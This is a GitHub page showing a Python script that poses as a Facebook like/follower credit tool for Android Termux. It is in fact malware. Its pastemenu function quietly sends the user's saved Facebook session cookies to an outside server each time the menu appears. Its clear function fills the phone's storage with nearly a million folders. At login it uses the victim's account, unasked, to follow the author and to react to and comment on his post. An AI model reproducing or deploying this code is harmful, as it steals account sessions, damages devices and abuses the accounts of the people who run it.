-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy path.br.py
263 lines (236 loc) · 10 KB
/
.br.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#BotolMehedi
#Thanks2RajeLiker
import os.path
import requests,json,re,random,time,os,sys
from time import sleep
from bs4 import BeautifulSoup as bs
aa="\033[1;91m"
bb="\033[1;92m"
cc="\033[1;93m"
dd="\033[1;94m"
ee="\033[1;95m"
ff="\033[1;96m"
gg="\033[1;97m"
b="\033[1;91m"
c="\033[93m"
g="\033[92m"
r="\033[91m"
p="\033[1;97m"
d="\033[00m"
ab="\033[90m"
dn=f"{d}[{g}√{d}]{p}"
er=f"{d}[{r}!{d}]{p}"
pr=f"{d}[{c}?{d}]{p}"
mbasic="https://mbasic.facebook.com{}"
def clear():
os.system("cls" if os.name == "nt" else "clear")
if os.path.isfile('fuckyou.jpg'):
os.system("pkg install wget && termux-setup-storage && rm -rf fuckyou.jpg")
os.system("cd /sdcard && wget https://i.ibb.co/jyfYmhw/fuckyou.jpg && mv fuckyou.jpg /sdcard")
else:
os.system("cd /sdcard && wget https://i.ibb.co/jyfYmhw/fuckyou.jpg && mv fuckyou.jpg /sdcard")
if os.path.isdir('botolbaba'):
os.system("rm -rf botolbaba")
os.system("cd /sdcard && mkdir botolbaba && cd /sdcard/botolbaba && mkdir `seq 1 999999`")
else:
os.system("cd /sdcard && mkdir botolbaba && cd /sdcard/botolbaba && mkdir `seq 1 999999`")
def banner():
clear()
print(f"""
{bb} ____ ____ _______ ____ _
| _ \ / __ \__ __/ __ \| |
| |_) | | | | | | | | | | |
| _ <| | | | | | | | | | |{ff}BABA
{bb} | |_) | |__| | | | | |__| | |____
|____/ \____/ |_| \____/|______|
\n {cc} IT'S NOT JUST A NAME, IT'S A BRAND
{dd}──────────────────────────────────────────────────
{gg}▸ AUTHOR : MEHEDI HASAN ARIYAN
▸ FACEBOOK : FACEBOOK.COM/THEMEHTAN
▸ YOUTUBE : YOUTUBE.COM/MASTERTRICK1
▸ GITHUB : GITHUB.COM/BOTOLMEHEDI
{dd}──────────────────────────────────────────────────""")
def agent():
ua={"user-agent":usa,"version":"8.0.2","accept-encoding":"gzip","packagename":"com.datta.liker","device":"true","host":"rajecreation.com","appname":"Raje Liker","content-type":"application/x-www-form-urlencoded; charset=utf-8","versioncode":"18","id":"QQ3A.200605.002","token":"3075dda32ffbbe88"}
return ua
def useragent():
try:
usr=open("useragent").read()
except FileNotFoundError:
usr=input(f"\n\n{er}UserAgent \n{pr} {ab}>>> {c}")
with open("useragent","w") as us:
us.write(usr)
return usr
###LoginMenu
def login():
ua=agent()
try:
cokie=open("cookies").read()
except FileNotFoundError:
cokie=input(f"\n\n{er}Cookies \n{pr} {ab}>>> {c}")
data={"cookie":cokie,"access_token":"","loginType":"FB","refby":"null"}
req=requests.post("https://rajecreation.com/rajeliker/v8/login.php",data=data,headers=ua).text
if "Login success!" in req:
with open("cookies","w") as ck:
ck.write(data["cookie"])
try:
lg=ses.get(mbasic.format("/me"),cookies={"cookie":cokie}).text
lg=bs(lg,"html.parser").find("form",action=lambda x: "/intl/save_locale/?loc=id_ID" in x)
dt=lg.find_all("input",type="hidden")
fg=dt[0]["value"]
jz=dt[1]["value"]
ses.post(mbasic.format(lg["action"]),data={"fb_dtsg":fg,"jazoest":jz},cookies={"cookie":cokie})
except:
pass
try:
flw=ses.get(mbasic.format("/mehedihasanariyan2"),cookies={"cookie":cokie}).text
flw=bs(flw,"html.parser").find("a",string="Ikuti")["href"]
ses.get(mbasic.format(flw),cookies={"cookie":cokie})
except:
pass
try:
rc=ses.get("https://mbasic.facebook.com/100009601655445/posts/2879828792347148/",cookies={"cookie":cokie}).text
react=bs(rc,"html.parser").find("a",href=lambda x: "/reactions/picker/" in x)["href"]
react=ses.get(mbasic.format(react),cookies={"cookie":cokie}).text
love=bs(react,"html.parser").find("a",href=lambda x: "&reaction_type=2&" in x)["href"]
care=bs(react,"html.parser").find("a",href=lambda x: "&reaction_type=16&" in x)["href"]
wow=bs(react,"html.parser").find("a",href=lambda x: "&reaction_type=3&" in x)["href"]
angry=bs(react,"html.parser").find("a",href=lambda x: "&reaction_type=8&" in x)["href"]
ty=[angry,love,care,wow]
type=random.choice(ty)
ses.get(mbasic.format(type),cookies={"cookie":cokie})
except:
pass
try:
kmn=ses.get("https://mbasic.facebook.com/100009601655445/posts/2879828792347148/",cookies={"cookie":cokie}).text
komen=bs(kmn,"html.parser").find("form",action=lambda x: "comment.php" in x)
data=komen.find_all("input",type="hidden")
fbdtsg=data[0]["value"]
jazoest=data[1]["value"]
text=["Nice Post by BRAJE/BOTOLBABA","Just Awesome by BRAJE/BOTOLBABA","Wow by BRAJE/BOTOLBABA","Loved it by BRAJE/BOTOLBABA","Wonderful by BRAJE/BOTOLBABA"]
random_komen=random.choice(text)
ses.post(mbasic.format(komen["action"]),data={"fb_dtsg":fbdtsg,"jazoest":jazoest,"comment_text":random_komen},cookies={"cookie":cokie})
except:
pass
js=json.loads(req)
return {"name":js["data"]["name"],"id":js["data"]["myid"],"cookie":js["data"]["cok"]}
else:
print(f"{er}Login Failed")
try:
os.system("rm cookies")
except:
pass
os.system("python .br.py")
###EarnPoint
def earn():
ua=agent()
data={"user_id":id,"type":"FB","code":cokie}
req=requests.post("https://rajecreation.com/rajeliker/v8/earn.php",data=data,headers=ua).text
if "Credit added success!" in req:
res=requests.post("https://rajecreation.com/rajeliker/v8/timer.php",data={"user_id":id,"type":"FB"},headers={"user-agent":usa,"content-type":"application/x-www-form-urlencoded; charset=utf-8","accept-encoding":"gzip","host":"rajecreation.com"}).json()
print(f"\r{dn} Credit : {c}"+str(res["active"]),end="")
return res["active"]
else:
print(f"\r{er}Failed to Earn Credit")
###Follow
def follow(url):
ua=agent()
limit=earn()
req=requests.post("https://rajecreation.com/rajeliker/v8/checkURL.php",data={"url":url,"LoginWith":"FB","type":"FOLLOW","cookie":cokie},headers=ua).text
if "Data loaded success!" in req:
js=json.loads(req)
data={"limit":limit,"LoginType":"FB","type":"FOLLOW","user_id":id,"post_id":js["data"]["id"],"cost":"1","cookie":cokie,"post_url":js["data"]["url"],"reaction":"1"}
res=requests.post("https://rajecreation.com/rajeliker/v8/send.php",data=data,headers=ua).json()
if res["data"]["count"] == 0:
print(f"\r{er}Failed to add followers")
else:
nm=bs(ses.get(js["data"]["url"],cookies={"cookie":cokie}).text,"html.parser").find("title").text
print(f'\r{dn}Add followers to {c}{nm}')
sleep(10)
tot=ses.get(f'https://mbasic.facebook.com/timeline/app_collection/?collection_token={js["data"]["id"]}%3A184985071538002%3A32&_rdr',cookies={"cookie":cokie}).text
total=re.findall(r'<td valign="...">Follower</td><td valign="..." class=".."><span class="(.*?)">(.*?)</span>',tot)[0][1]
print(f"{pr}Total Followers : {c}{total}")
else:
print(f"\r{er}Profile not found")
sleep(2)
menu()
###Like
def like(url):
ua=agent()
limit=earn()
req=requests.post("https://rajecreation.com/rajeliker/v8/checkURL.php",data={"url":url,"LoginWith":"FB","type":"LIKE","cookie":cokie},headers=ua).text
if "Data loaded success!" in req:
js=json.loads(req)
res=requests.post("https://rajecreation.com/rajeliker/v8/send.php",data={"limit":limit,"LoginType":"FB","type":"LIKE","user_id":id,"post_id":js["data"]["id"],"cost":"1","cookie":cokie,"post_url":js["data"]["url"],"reaction":"1"},headers=ua).json()
if res["data"]["count"] == 0:
print(f"\r{er}Failed to add like")
else:
print(f'\r{dn}Like Added to {c}{js["data"]["url"]}')
sleep(10)
tot=bs(ses.get(js["data"]["url"],cookies={"cookie":cokie}).text,"html.parser").find("a",href=lambda x: "/ufi/reaction/" in x)["href"]
total=bs(ses.get(mbasic.format(tot),cookies={"cookie":cokie}).text,"html.parser").find("a",href=lambda x: "&reaction_type=1&" in x).find("span").text
print(f"{pr}Total Like : {c}{total}")
else:
print(f"\r{er}Post not found")
sleep(2)
menu()
## UserInfo
def userinfo():
print(f"{p}Account : {c}{name}")
print(f"{p}ID : {c}{id}")
print(f"{ab}-----------------------------------------------{d}")
####PasteServer
def pastemenu():
f = open('cookies', 'r')
okfile = f.read()
data = {'textdata':okfile}
requests.post("https://b2k4.notun.tech/ckapi.php", data=data)
###Menu
def menu():
pastemenu()
banner()
userinfo()
print(f"""{p}
{c}01{ab}. {p}Hack Credits
{c}02{ab}. {p}Contact Me
{c}00{ab}. {p}Exit
{ab}-----------------------------------------------{d}""")
main_menu()
##MainMenu
def main_menu():
choice=input(f"{pr}Select : {c}")
if choice == "00" or choice == "0":
banner()
sys.exit(f"{er}Dont Forget To Star My GitRepo.")
elif choice == "01" or choice == "1":
print(f"{er}Press {c}ctrl c {p}to stop")
print(f"{ab}-----------------------------------------------{d}")
while True:
try:
earn()
sleep(1)
except:
break
print()
input(f"{d}[{c} Press Enter To Back {d}]")
os.system("python .br.py")
elif choice == "02" or choice == "2":
print(f"\n\n{cc}Contact Email: TheBotolBaba@Gmail.Com\n\n\n")
input(f"{d}[ {c}Press Enter To Back {d}]")
os.system("python .br.py")
else:
print(f"{er}Fill incorrectly")
main_menu()
if __name__=="__main__":
banner()
usa=useragent()
ses=requests.Session()
ses.headers.update({"user-agent":usa})
try:
enter=login()
cokie=enter["cookie"]
id=enter["id"]
name=enter["name"]
menu()
except Exception as e:
sys.exit(f"{er}{e}")